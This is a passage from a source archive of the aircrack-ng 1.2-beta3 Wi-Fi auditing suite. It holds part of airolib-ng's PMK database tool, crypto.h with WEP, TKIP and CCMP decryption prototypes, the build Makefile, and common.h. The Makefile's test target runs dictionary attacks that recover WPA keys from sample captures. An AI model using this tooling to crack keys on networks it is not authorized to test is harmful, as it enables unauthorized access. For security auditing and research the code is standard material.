be used in SQL statements if (sqlite3_create_function(*db, "PMK", 2, SQLITE_ANY, 0, &sql_calcpmk,0,0) != SQLITE_OK) { printf("Failed creating PMK function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } if (sqlite3_create_function(*db, "VERIFY_ESSID", 1, SQLITE_ANY, 0, &sql_verify_essid,0,0) != SQLITE_OK) { printf("Failed creating VERIFY_ESSID function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } if (sqlite3_create_function(*db, "VERIFY_PASSWD", 1, SQLITE_ANY, 0, &sql_verify_passwd,0,0) != SQLITE_OK) { printf("Failed creating VERIFY_PASSWD function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } #ifdef HAVE_REGEXP if (sqlite3_create_function(*db, "regexp", 2, SQLITE_ANY,0, &sqlite_regexp,0,0) != SQLITE_OK) { printf("Failed creating regexp() handler.\n"); sql_error(*db); sqlite3_close(*db); return 1; } #endif return 0; } int main(int argc, char **argv) { sqlite3 *db; int option_index, option; if( argc < 3 ){ print_help(NULL); return 1; } db = NULL; option_index = 0; static struct option long_options[] = { {"batch", 0, 0, 'b'}, {"clean", 2, 0, 'c'}, {"export", 2, 0, 'e'}, {"h", 0, 0, 'h'}, {"help", 0, 0, 'h'}, {"import", 2, 0, 'i'}, {"sql", 1, 0, 's'}, {"stats", 2, 0, 't'}, {"statistics", 2, 0, 't'}, {"verify", 2, 0, 'v'}, {"vacuum", 2, 0, 'c'}, // TODO: implement options like '-e essid' to limit // operations to a certain essid where possible {"essid", 1, 0, 'd'}, {0, 0, 0, 0 } }; #ifdef USE_GCRYPT // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif option = getopt_long( argc, argv, "bc:d:e:hi:s:t:v:", long_options, &option_index ); if( option > 0 ) { switch (option) { case 'b': // Batch if ( check_for_db(&db, argv[1], 0, 1) ) { return 1; } batch_process(db); break; case 'c': // Clean if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } vacuum(db, (argc > 3 && strcasecmp(argv[3],"all") == 0) ? 1 : 0); break; case 'e': if (argc < 4) { print_help("You must specify an export format."); } else if (strcmp(argv[3],"cowpatty")==0) { if (argc < 6) { print_help("You must specify essid and output file."); } else { // Export if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } export_cowpatty(db,argv[4],argv[5]); } } else { print_help("Invalid export format specified."); } break; case ':' : case '?' : case 'h': // Show help print_help(NULL); break; case 'i': // Import if (argc < 5) { print_help("You must specifiy an import format and a file."); } else if (strcasecmp(argv[3], IMPORT_COWPATTY) == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_cowpatty(db,argv[4]); } else if (strcasecmp(argv[3], IMPORT_ESSID) == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_ascii(db, IMPORT_ESSID,argv[4]); } else if (strcasecmp(argv[3], IMPORT_PASSWD) == 0 || strcasecmp(argv[3],"password") == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_ascii(db,IMPORT_PASSWD, argv[4]); } else { print_help("Invalid import format specified."); return 1; } break; case 's': // SQL // We don't know if the SQL order is changing the file or not if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } sql_stdout(db, argv[3], 0); break; case 't': // Stats if ( check_for_db(&db, argv[1], 0, 1) ) { return 1; } show_stats(db, (argv[3] == NULL) ? 0 : 1); break; case 'v': // Verify if ( check_for_db(&db, argv[1], 0, (argc > 3 && strcasecmp(argv[3],"all")==0) ? 0 : 1) ) { return 1; } verify(db, (argc > 3 && strcasecmp(argv[3],"all")==0) ? 1 : 0); break; default: print_help("Invalid option"); break; } } else { print_help(NULL); } if (db) sqlite3_close(db); return 0; } aircrack-ng-1.2-beta3/src/crypto.h0000644000000000000000000002622612313366351015522 0ustar rootroot/* * MD5, SHA-1, RC4 and AES implementations * * Copyright (C) 2001-2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _CRYPTO_H #define _CRYPTO_H #ifndef uint8 #define uint8 unsigned char #endif #ifndef uint32 #define uint32 unsigned long int #endif #ifdef USE_GCRYPT #include "gcrypt-openssl-wrapper.h" #include "sha1-git.h" #else #include #include // We don't use EVP. Bite me #include #include #endif #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_WLCCP "\xAA\xAA\x03\x00\x40\x96\x00\x00" #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define S_LLC_SNAP_SPANTREE "\x42\x42\x03\x00\x00\x00\x00\x00" #define S_LLC_SNAP_CDP "\xAA\xAA\x03\x00\x00\x0C\x20" #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define TYPE_ARP 0 #define TYPE_IP 1 #define NULL_MAC (uchar*)"\x00\x00\x00\x00\x00\x00" #define BROADCAST (uchar*)"\xFF\xFF\xFF\xFF\xFF\xFF" #define SPANTREE (uchar*)"\x01\x80\xC2\x00\x00\x00" #define CDP_VTP (uchar*)"\x01\x00\x0C\xCC\xCC\xCC" #define IEEE80211_FC0_SUBTYPE_MASK 0xf0 #define IEEE80211_FC0_SUBTYPE_SHIFT 4 /* for TYPE_DATA (bit combination) */ #define IEEE80211_FC0_SUBTYPE_QOS 0x80 #define IEEE80211_FC0_SUBTYPE_QOS_NULL 0xc0 #define GET_SUBTYPE(fc) \ ( ( (fc) & IEEE80211_FC0_SUBTYPE_MASK ) >> IEEE80211_FC0_SUBTYPE_SHIFT ) \ << IEEE80211_FC0_SUBTYPE_SHIFT #define uchar unsigned char #define ROL32( A, n ) \ ( ((A) << (n)) | ( ((A)>>(32-(n))) & ( (1UL << (n)) - 1 ) ) ) #define ROR32( A, n ) ROL32( (A), 32-(n) ) struct WPA_ST_info { struct WPA_ST_info *next; /* next supplicant */ uchar stmac[6]; /* supplicant MAC */ uchar bssid[6]; /* authenticator MAC */ uchar snonce[32]; /* supplicant nonce */ uchar anonce[32]; /* authenticator nonce */ uchar keymic[20]; /* eapol frame MIC */ uchar eapol[256]; /* eapol frame contents */ uchar ptk[80]; /* pairwise transcient key */ uint eapol_size; /* eapol frame size */ unsigned long t_crc; /* last ToDS frame CRC */ unsigned long f_crc; /* last FromDS frame CRC */ int keyver, valid_ptk; }; struct Michael { unsigned long key0; unsigned long key1; unsigned long left; unsigned long right; unsigned long nBytesInM; unsigned long message; unsigned char mic[8]; }; // typedef unsigned char byte; /* 8-bit byte (octet) */ // typedef unsigned short u16b; /* 16-bit unsigned word */ // typedef unsigned long u32b; /* 32-bit unsigned word */ // /* macros for extraction/creation of byte/u16b values */ // #define RotR1(v16) ((((v16) >> 1) & 0x7FFF) ^ (((v16) & 1) << 15)) // #define Lo8(v16) ((byte)( (v16) & 0x00FF)) // #define Hi8(v16) ((byte)(((v16) >> 8) & 0x00FF)) // #define Lo16(v32) ((u16b)( (v32) & 0xFFFF)) // #define Hi16(v32) ((u16b)(((v32) >>16) & 0xFFFF)) // #define Mk16(hi,lo) ((lo) ^ (((u16b)(hi)) << 8)) // /* select the Nth 16-bit word of the Temporal Key byte array TK[] */ // #define TK16(N) Mk16(TK[2*(N)+1],TK[2*(N)]) // /* S-box lookup: 16 bits --> 16 bits */ // #define _S_(v16) (Sbox[0][Lo8(v16)] ^ Sbox[1][Hi8(v16)]) // /* fixed algorithm "parameters" */ // #define PHASE1_LOOP_CNT 8 /* this needs to be "big enough" */ // #define TA_SIZE 6 /* 48-bit transmitter address */ // #define TK_SIZE 16 /* 128-bit Temporal Key */ // #define P1K_SIZE 10 /* 80-bit Phase1 key */ // #define RC4_KEY_SIZE 16 /* 128-bit RC4KEY (104 bits unknown) */ /* 2-byte by 2-byte subset of the full AES S-box table */ // const u16b TkipSbox[2][256]= /* Sbox for hash (can be in ROM) */ // {{ // 0xC6A5,0xF884,0xEE99,0xF68D,0xFF0D,0xD6BD,0xDEB1,0x9154, // 0x6050,0x0203,0xCEA9,0x567D,0xE719,0xB562,0x4DE6,0xEC9A, // 0x8F45,0x1F9D,0x8940,0xFA87,0xEF15,0xB2EB,0x8EC9,0xFB0B, // 0x41EC,0xB367,0x5FFD,0x45EA,0x23BF,0x53F7,0xE496,0x9B5B, // 0x75C2,0xE11C,0x3DAE,0x4C6A,0x6C5A,0x7E41,0xF502,0x834F, // 0x685C,0x51F4,0xD134,0xF908,0xE293,0xAB73,0x6253,0x2A3F, // 0x080C,0x9552,0x4665,0x9D5E,0x3028,0x37A1,0x0A0F,0x2FB5, // 0x0E09,0x2436,0x1B9B,0xDF3D,0xCD26,0x4E69,0x7FCD,0xEA9F, // 0x121B,0x1D9E,0x5874,0x342E,0x362D,0xDCB2,0xB4EE,0x5BFB, // 0xA4F6,0x764D,0xB761,0x7DCE,0x527B,0xDD3E,0x5E71,0x1397, // 0xA6F5,0xB968,0x0000,0xC12C,0x4060,0xE31F,0x79C8,0xB6ED, // 0xD4BE,0x8D46,0x67D9,0x724B,0x94DE,0x98D4,0xB0E8,0x854A, // 0xBB6B,0xC52A,0x4FE5,0xED16,0x86C5,0x9AD7,0x6655,0x1194, // 0x8ACF,0xE910,0x0406,0xFE81,0xA0F0,0x7844,0x25BA,0x4BE3, // 0xA2F3,0x5DFE,0x80C0,0x058A,0x3FAD,0x21BC,0x7048,0xF104, // 0x63DF,0x77C1,0xAF75,0x4263,0x2030,0xE51A,0xFD0E,0xBF6D, // 0x814C,0x1814,0x2635,0xC32F,0xBEE1,0x35A2,0x88CC,0x2E39, // 0x9357,0x55F2,0xFC82,0x7A47,0xC8AC,0xBAE7,0x322B,0xE695, // 0xC0A0,0x1998,0x9ED1,0xA37F,0x4466,0x547E,0x3BAB,0x0B83, // 0x8CCA,0xC729,0x6BD3,0x283C,0xA779,0xBCE2,0x161D,0xAD76, // 0xDB3B,0x6456,0x744E,0x141E,0x92DB,0x0C0A,0x486C,0xB8E4, // 0x9F5D,0xBD6E,0x43EF,0xC4A6,0x39A8,0x31A4,0xD337,0xF28B, // 0xD532,0x8B43,0x6E59,0xDAB7,0x018C,0xB164,0x9CD2,0x49E0, // 0xD8B4,0xACFA,0xF307,0xCF25,0xCAAF,0xF48E,0x47E9,0x1018, // 0x6FD5,0xF088,0x4A6F,0x5C72,0x3824,0x57F1,0x73C7,0x9751, // 0xCB23,0xA17C,0xE89C,0x3E21,0x96DD,0x61DC,0x0D86,0x0F85, // 0xE090,0x7C42,0x71C4,0xCCAA,0x90D8,0x0605,0xF701,0x1C12, // 0xC2A3,0x6A5F,0xAEF9,0x69D0,0x1791,0x9958,0x3A27,0x27B9, // 0xD938,0xEB13,0x2BB3,0x2233,0xD2BB,0xA970,0x0789,0x33A7, // 0x2DB6,0x3C22,0x1592,0xC920,0x8749,0xAAFF,0x5078,0xA57A, // 0x038F,0x59F8,0x0980,0x1A17,0x65DA,0xD731,0x84C6,0xD0B8, // 0x82C3,0x29B0,0x5A77,0x1E11,0x7BCB,0xA8FC,0x6DD6,0x2C3A, // }, // { /* second half of table is byte-reversed version of first! */ // 0xA5C6,0x84F8,0x99EE,0x8DF6,0x0DFF,0xBDD6,0xB1DE,0x5491, // 0x5060,0x0302,0xA9CE,0x7D56,0x19E7,0x62B5,0xE64D,0x9AEC, // 0x458F,0x9D1F,0x4089,0x87FA,0x15EF,0xEBB2,0xC98E,0x0BFB, // 0xEC41,0x67B3,0xFD5F,0xEA45,0xBF23,0xF753,0x96E4,0x5B9B, // 0xC275,0x1CE1,0xAE3D,0x6A4C,0x5A6C,0x417E,0x02F5,0x4F83, // 0x5C68,0xF451,0x34D1,0x08F9,0x93E2,0x73AB,0x5362,0x3F2A, // 0x0C08,0x5295,0x6546,0x5E9D,0x2830,0xA137,0x0F0A,0xB52F, // 0x090E,0x3624,0x9B1B,0x3DDF,0x26CD,0x694E,0xCD7F,0x9FEA, // 0x1B12,0x9E1D,0x7458,0x2E34,0x2D36,0xB2DC,0xEEB4,0xFB5B, // 0xF6A4,0x4D76,0x61B7,0xCE7D,0x7B52,0x3EDD,0x715E,0x9713, // 0xF5A6,0x68B9,0x0000,0x2CC1,0x6040,0x1FE3,0xC879,0xEDB6, // 0xBED4,0x468D,0xD967,0x4B72,0xDE94,0xD498,0xE8B0,0x4A85, // 0x6BBB,0x2AC5,0xE54F,0x16ED,0xC586,0xD79A,0x5566,0x9411, // 0xCF8A,0x10E9,0x0604,0x81FE,0xF0A0,0x4478,0xBA25,0xE34B, // 0xF3A2,0xFE5D,0xC080,0x8A05,0xAD3F,0xBC21,0x4870,0x04F1, // 0xDF63,0xC177,0x75AF,0x6342,0x3020,0x1AE5,0x0EFD,0x6DBF, // 0x4C81,0x1418,0x3526,0x2FC3,0xE1BE,0xA235,0xCC88,0x392E, // 0x5793,0xF255,0x82FC,0x477A,0xACC8,0xE7BA,0x2B32,0x95E6, // 0xA0C0,0x9819,0xD19E,0x7FA3,0x6644,0x7E54,0xAB3B,0x830B, // 0xCA8C,0x29C7,0xD36B,0x3C28,0x79A7,0xE2BC,0x1D16,0x76AD, // 0x3BDB,0x5664,0x4E74,0x1E14,0xDB92,0x0A0C,0x6C48,0xE4B8, // 0x5D9F,0x6EBD,0xEF43,0xA6C4,0xA839,0xA431,0x37D3,0x8BF2, // 0x32D5,0x438B,0x596E,0xB7DA,0x8C01,0x64B1,0xD29C,0xE049, // 0xB4D8,0xFAAC,0x07F3,0x25CF,0xAFCA,0x8EF4,0xE947,0x1810, // 0xD56F,0x88F0,0x6F4A,0x725C,0x2438,0xF157,0xC773,0x5197, // 0x23CB,0x7CA1,0x9CE8,0x213E,0xDD96,0xDC61,0x860D,0x850F, // 0x90E0,0x427C,0xC471,0xAACC,0xD890,0x0506,0x01F7,0x121C, // 0xA3C2,0x5F6A,0xF9AE,0xD069,0x9117,0x5899,0x273A,0xB927, // 0x38D9,0x13EB,0xB32B,0x3322,0xBBD2,0x70A9,0x8907,0xA733, // 0xB62D,0x223C,0x9215,0x20C9,0x4987,0xFFAA,0x7850,0x7AA5, // 0x8F03,0xF859,0x8009,0x171A,0xDA65,0x31D7,0xC684,0xB8D0, // 0xC382,0xB029,0x775A,0x111E,0xCB7B,0xFCA8,0xD66D,0x3A2C, // } // }; /* Used for own RC4 implementation */ struct rc4_state { int x, y, m[256]; }; struct AP_info; void calc_pmk( char *key, char *essid, unsigned char pmk[40] ); int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ); int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ); int check_crc_buf( unsigned char *buf, int len ); int calc_crc_buf( unsigned char *buf, int len ); void calc_mic(struct AP_info *ap, unsigned char *pmk, unsigned char *ptk, unsigned char *mic); int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len); int add_crc32(unsigned char* data, int length); int add_crc32_plain(unsigned char* data, int length); int is_ipv6(void *wh); int is_dhcp_discover(void *wh, int len); int is_qos_arp_tkip(void *wh, int len); int calc_tkip_ppk( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char key[16] ); int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] ); int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] ); int calc_ptk( struct WPA_ST_info *wpa, uchar pmk[32] ); int calc_tkip_mic(uchar* packet, int length, uchar ptk[80], uchar value[8]); int michael_test(uchar key[8], uchar *message, int length, uchar out[8]); int calc_tkip_mic_key(uchar* packet, int length, uchar key[8]); #endif /* crypto.h */ aircrack-ng-1.2-beta3/src/Makefile0000644000000000000000000002002412313371023015447 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak TEST_DIR = $(AC_ROOT)/test CFLAGS += -Iinclude iCC = $(shell find /opt/intel/cc/*/bin/icc) iCFLAGS = -w -mcpu=pentiumpro -march=pentiumpro $(COMMON_CFLAGS) iOPTFLAGS = -O3 -ip -ipo -D_FILE_OFFSET_BITS=64 PROF_DIR = $(PWD)/prof BINFILES = aircrack-ng$(EXE) airdecap-ng$(EXE) packetforge-ng$(EXE) \ ivstools$(EXE) kstats$(EXE) makeivs-ng$(EXE) \ airdecloak-ng$(EXE) wpaclean$(EXE) LIBPCRE = ifeq ($(PCRE), true) LIBPCRE = $(shell pcre-config --libs) endif ifneq ($(OSNAME), cygwin) #There is yet no libpcap support for windows, so we skip the crawler HAVE_PCAP = $(shell ld -lpcap 2> /dev/null && echo yes) ifeq ($(HAVE_PCAP), yes) #cannot link with -lpcap, skip crawler BINFILES += besside-ng-crawler$(EXE) endif endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) BINFILES += airolib-ng$(EXE) endif SBINFILES = aireplay-ng$(EXE) airodump-ng$(EXE) airserv-ng$(EXE) \ airtun-ng$(EXE) airbase-ng$(EXE) besside-ng$(EXE) OPTFILES = aircrack-ng-opt-prof_gen aircrack-ng-opt \ aircrack-ng-opt-prof prof/* ifeq ($(subst TRUE,true,$(filter TRUE true,$(unstable) $(UNSTABLE))),true) SBINFILES += wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) BINFILES += buddy-ng$(EXE) endif SRC_PTW = aircrack-ptw-lib.c SRC_AC = aircrack-ng.c crypto.c common.c $(SRC_PTW) OBJS_PTW = aircrack-ptw-lib.o OBJS_AC = aircrack-ng.o crypto.o common.o uniqueiv.o $(OBJS_PTW) ASM_AC = sha1-sse2.S OBJS_AD = airdecap-ng.o crypto.o common.o OBJS_PF = packetforge-ng.o common.o crypto.o OBJS_AR = aireplay-ng.o common.o crypto.o osdep/radiotap/radiotap.o OBJS_ADU = airodump-ng.o common.o crypto.o uniqueiv.o osdep/radiotap/radiotap.o ifneq ($(OSNAME), Linux) OBJS_ADU += osdep/common.o endif OBJS_AT = airtun-ng.o common.o crypto.o osdep/radiotap/radiotap.o OBJS_IV = ivstools.o common.o crypto.o uniqueiv.o OBJS_AS = airserv-ng.o common.o osdep/radiotap/radiotap.o OBJS_WS = wesside-ng.o crypto.o common.o osdep/radiotap/radiotap.o $(OBJS_PTW) OBJS_BS = besside-ng.o crypto.o common.o osdep/radiotap/radiotap.o $(OBJS_PTW) OBJS_BC = besside-ng-crawler.o OBJS_AL = airolib-ng.o crypto.o common.o OBJS_ES = easside-ng.o common.o osdep/radiotap/radiotap.o OBJS_BUDDY = buddy-ng.o common.o OBJS_MI = makeivs-ng.o common.o uniqueiv.o OBJS_AB = airbase-ng.o common.o crypto.o osdep/radiotap/radiotap.o OBJS_AU = airdecloak-ng.o common.o osdep/radiotap/radiotap.o OBJS_TT = tkiptun-ng.o common.o crypto.o osdep/radiotap/radiotap.o OBJS_WC = wpaclean.o osdep/radiotap/radiotap.o OSD = osdep LIBS := -L$(OSD) -l$(OSD) $(LIBS) ifeq ($(OSNAME), cygwin) LIBS += -liphlpapi -lsetupapi -luuid endif LIBOSD = $(OSD)/lib$(OSD).a LIBSSL = -lssl -lcrypto ifeq ($(subst TRUE,true,$(filter TRUE true,$(gcrypt) $(GCRYPT))),true) LIBSSL = -lgcrypt $(LDFLAGS) CFLAGS += -DUSE_GCRYPT OBJS_AC += sha1-git.o OBJS_AD += sha1-git.o OBJS_PF += sha1-git.o OBJS_IV += sha1-git.o OBJS_AR += sha1-git.o OBJS_ADU += sha1-git.o OBJS_AT += sha1-git.o OBJS_AB += sha1-git.o OBJS_AL += sha1-git.o OBJS_WS += sha1-git.o OBJS_TT += sha1-git.o OBJS_BS += sha1-git.o else LIBSSL = -lssl -lcrypto $(LDFLAGS) endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) LIBSQL = -L/usr/local/lib -lsqlite3 else LIBSQL = endif all: userland $(SBINFILES) userland: $(BINFILES) $(LIBOSD): $(MAKE) -C $(OSD) aircrack-ng-opt: $(SRC_AC) $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) $(SRC_AC) $(ASM_AC) $(LIBSSL) \ uniqueiv.o -o aircrack-ng-opt -lpthread $(LIBSQL) aircrack-ng-opt-prof_gen: $(SRC_AC) mkdir -p prof $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) -prof_genx -DDO_PGO_DUMP \ -prof_dir$(PROF_DIR) $(SRC_AC) $(ASM_AC) $(LIBSSL) uniqueiv.o -o \ aircrack-ng-opt-prof_gen -lpthread $(LIBSQL) aircrack-ng-opt-prof_use: $(SRC_AC) $(iCC) $(iCFLAGS) $(iOPTFLAGS) $(REVFLAGS) -prof_use \ -prof_dir$(PROF_DIR) $(SRC_AC) $(ASM_AC) $(LIBSSL) uniqueiv.o -o \ aircrack-ng-opt-prof -lpthread $(LIBSQL) aircrack-ng$(EXE): $(OBJS_AC) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AC) $(ASM_AC) -o $(@) -lpthread $(LIBSSL) $(LIBSQL) airdecap-ng$(EXE): $(OBJS_AD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AD) -o $(@) $(LIBSSL) packetforge-ng$(EXE): $(OBJS_PF) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_PF) -o $(@) $(LIBSSL) aireplay-ng$(EXE): $(OBJS_AR) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AR) -o $(@) $(LIBS) $(LIBSSL) airodump-ng$(EXE): $(OBJS_ADU) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ADU) -o $(@) $(LIBS) $(LIBSSL) -lpthread $(LIBPCRE) airserv-ng$(EXE): $(OBJS_AS) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AS) -o $(@) $(LIBS) airtun-ng$(EXE): $(OBJS_AT) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AT) -o $(@) $(LIBS) $(LIBSSL) ivstools$(EXE): $(OBJS_IV) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_IV) -o $(@) $(LIBSSL) kstats$(EXE): kstats.o $(CC) $(CFLAGS) $(LDFLAGS) kstats.o -o $(@) $(LDFLAGS) wesside-ng$(EXE): $(OBJS_WS) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_WS) -o $(@) $(LIBS) $(LIBSSL) -lz easside-ng$(EXE): $(OBJS_ES) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_ES) -o $(@) $(LIBS) -lz buddy-ng$(EXE): $(OBJS_BUDDY) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BUDDY) -o $(@) $(LDFLAGS) besside-ng$(EXE): $(OBJS_BS) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BS) -o $(@) $(LIBS) $(LIBSSL) -lz besside-ng-crawler$(EXE): $(OBJS_BC) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_BC) -o $(@) -lpcap makeivs-ng$(EXE): $(OBJS_MI) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_MI) -o $(@) $(LDFLAGS) airolib-ng$(EXE): $(OBJS_AL) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AL) -o $(@) $(LIBSSL) -DHAVE_REGEXP $(LIBSQL) airbase-ng$(EXE): $(OBJS_AB) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AB) -o $(@) $(LIBS) $(LIBSSL) -lpthread airdecloak-ng$(EXE): $(OBJS_AU) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_AU) -o $(@) $(LDFLAGS) tkiptun-ng$(EXE): $(OBJS_TT) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_TT) -o $(@) $(LIBS) $(LIBSSL) wpaclean$(EXE): $(OBJS_WC) $(LIBOSD) $(CC) $(CFLAGS) $(LDFLAGS) $(OBJS_WC) -o $(@) $(LIBS) strip: $(BINFILES) $(SBINFILES) strip $(BINFILES) $(SBINFILES) clean: $(MAKE) -C $(OSD) clean -rm -f $(SBINFILES) $(BINFILES) $(OPTFILES) airolib-ng$(EXE) *.o wesside-ng$(EXE) tkiptun-ng$(EXE) easside-ng$(EXE) buddy-ng$(EXE) a.out distclean: clean install: all $(MAKE) -C $(OSD) install install -d $(DESTDIR)$(bindir) install -m 755 $(BINFILES) $(DESTDIR)$(bindir) install -d $(DESTDIR)$(sbindir) install -m 755 $(SBINFILES) $(DESTDIR)$(sbindir) uninstall: $(MAKE) -C $(OSD) uninstall -rm -f $(DESTDIR)$(bindir)/aircrack-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/airdecap-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/packetforge-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/airolib-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/ivstools$(EXE) -rm -f $(DESTDIR)$(bindir)/kstats$(EXE) -rm -f $(DESTDIR)$(bindir)/buddy-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airodump-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airserv-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/airtun-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/aireplay-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/wesside-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/easside-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/besside-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/besside-ng-crawler$(EXE) -rm -f $(DESTDIR)$(bindir)/wpaclean$(EXE) -rm -f $(DESTDIR)$(sbindir)/airbase-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/makeivs-ng$(EXE) -rm -f $(DESTDIR)$(bindir)/airdecloak-ng$(EXE) -rm -f $(DESTDIR)$(sbindir)/tkiptun-ng$(EXE) -rm -rf $(DESTDIR)$(etcdir) check: all ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e Harkonen -q $(TEST_DIR)/wpa2.eapol.cap | grep 'KEY FOUND! \[ 12345678 \]' ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e test -q $(TEST_DIR)/wpa.cap | grep 'KEY FOUND! \[ biscotte \]' ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e linksys -q $(TEST_DIR)/wpa2-psk-linksys.cap | grep 'KEY FOUND! \[ dictionary \]' ./aircrack-ng$(EXE) -w $(TEST_DIR)/password.lst -a 2 -e linksys -q $(TEST_DIR)/wpa-psk-linksys.cap | grep 'KEY FOUND! \[ dictionary \]' $(TEST_DIR)/test-airdecap-ng.sh $(CURDIR) ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) $(TEST_DIR)/test-airolib-sqlite.sh $(CURDIR) endif aircrack-ng-1.2-beta3/src/common.h0000644000000000000000000000461111714761303015464 0ustar rootroot/* * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _COMMON_H_ #define _COMMON_H_ #define SWAP(x,y) { unsigned char tmp = x; x = y; y = tmp; } #define SWAP32(x) \ x = ( ( ( x >> 24 ) & 0x000000FF ) | \ ( ( x >> 8 ) & 0x0000FF00 ) | \ ( ( x << 8 ) & 0x00FF0000 ) | \ ( ( x << 24 ) & 0xFF000000 ) ); #define PCT { struct tm *lt; time_t tc = time( NULL ); \ lt = localtime( &tc ); printf( "%02d:%02d:%02d ", \ lt->tm_hour, lt->tm_min, lt->tm_sec ); } #ifndef MAX #define MAX(x,y) ( (x)>(y) ? (x) : (y) ) #endif #ifndef MIN #define MIN(x,y) ( (x)>(y) ? (y) : (x) ) #endif #ifndef ABS #define ABS(a) ((a)>=0?(a):(-(a))) #endif // For later use in aircrack-ng #define CPUID_MMX_AVAILABLE 1 #define CPUID_SSE2_AVAILABLE 2 #define CPUID_NOTHING_AVAILABLE 0 #if defined(__i386__) || defined(__x86_64__) #define CPUID() shasse2_cpuid() #else #define CPUID() CPUID_NOTHING_AVAILABLE #endif 